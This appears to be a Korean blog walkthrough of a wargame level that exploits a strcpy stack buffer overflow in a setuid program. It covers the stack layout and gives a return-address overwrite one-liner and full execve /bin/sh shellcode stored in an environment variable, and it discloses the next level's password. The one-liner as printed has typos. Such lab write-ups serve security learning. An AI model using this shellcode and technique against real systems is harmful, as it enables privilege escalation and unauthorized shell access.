이번 문제풀이에는 shell코드, NOP 등 추가적으로 필요한 개념이 들어갑니다. 그 모든 내용을 여기서 설명하기에는 내용이 길어질 뿐더러 앞서 잘 정리되어 있는 자료가 있으니 그것을 먼저 보는것을 추천해 드립니다. 자료를 잘 정리해주신 달고나님 항상 감사합니다.

buffer_overflow_foundation_pub.pdf

 

Level 11에 들어가서 파일 목록을 확인하면 다음과 같이 나옵니다.

hint가 보이고 attackme라는 실행파일이 보이네요.

 

hint의 내용은 다음과 같습니다.

느낌이 attackme의 코드인 듯 합니다.

 

attackme는 권한을 상승시키고 실행시 매개변수를 str에 복사하고 출력해주는 프로그램입니다.

$./attackme test라고 입력했더니 test를 출력해주네요.

 

최신 ide에서는 strcpy 대신 strncpy를 사용하길 권장합니다. strcpy는 복사할 문자열의 길이를 명시해 줄 수 없기 때문입니다. 즉 입력값의 길이가 256이 넘어가게 된다면 스택의 str[256]영역을 넘어 다른 영역까지 침범하게 됩니다.

 

gdbattackme를 확인해 보겠습니다.

<main+3>를 통해 char str[256]의 공간을 스택에 마련했습니다. 256에 대항하는 0x100공간에 dummy0x8만큼 더 할당해 주었네요.

<main+3>까지 실행이 되면 스택은 다음과 같이 되어 있을것입니다.


ret(4byte)

ebp(4byte)

dummy(8byte)

str(256byte)


Strcpy함수를 사용하여 스택을 채우기 때문에 str의 영역을 넘어 ret영역까지 건드릴 수 있습니다.

아무 값 268(256+8+4)과 추가로 4byte를 넣어 주면 우리가 ret에 원하는 값을 덮어 씌울 수 있습니다.

$./attackme `python –c ‘printf “A”*268 + “\x2c\x5a\xff\2f”’` 라고 실행하면 스택에 다음과 같이 들어갈 것입니다.


ret : 0x2fff5a2c

ebp : AAAA

dummy : AAAAAAAA

str[256] : AAAA…..AAAA


그럼 프로그램이 끝날때 eip0x2fff5a2c로 바뀌고 0x2fff5a2c번지에 있는 코드를 실행하게 되겠죠.

 

Eip를 변조하는 것은 되었으니, 이제 실행할 코드를 삽입하고 그 위치를 구해야 합니다.

사실 스택에는 윗부분이 더 있습니다. 그부분은 다음과 같이 구성되어 있습니다.


env

argv

argc(4byte)

ret(4byte)

ebp(4byte)

dummy(8byte)

str(256byte)


여기서 핵심은 제일 위인 env, 즉 환경변수 부분입니다. 이 부분에 우리가 원하는 어셈블리어 코드를 삽입해주고, ret를 코드가 들어있는 부분의 주소로 설정해 주면 됩니다.

 

삽입할 코드는 쉘을 띄우기 위한 쉘코드 입니다.

 

\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

 

환경 변수에 쉘코드를 등록하면 스택의 환경변수 영역에 자동으로 올라갑니다.

환경변수에 쉘코드를 등록하고 확인까지 하였습니다.

이제 이 쉘코드가 들어있는 주소를 획득하여 attackme스택의 ret부분에 넣어주면 됩니다.

쉘코드의 주소는 다음과정을 통해 얻을 수 있습니다.

이제 얻은 쉘코드의 주소를 ret에 덮어 주기만 하면 됩니다.

획득한 쉘코드의 주소로 ret를 덮어 주었더니 정상적으로 쉘이 떴고, 사용자 또한 level12가 맞습니다.



level 12의 패스워드는 it is like this네요.

BOF를 이용하여 푸는 방법 이외에 Format String Bug를 이용한 풀이 방법도 있으니 그것도 한번 찾아보셔서 시도해도 좋을 것 같습니다.

수고하셨습니다.


+ Recent posts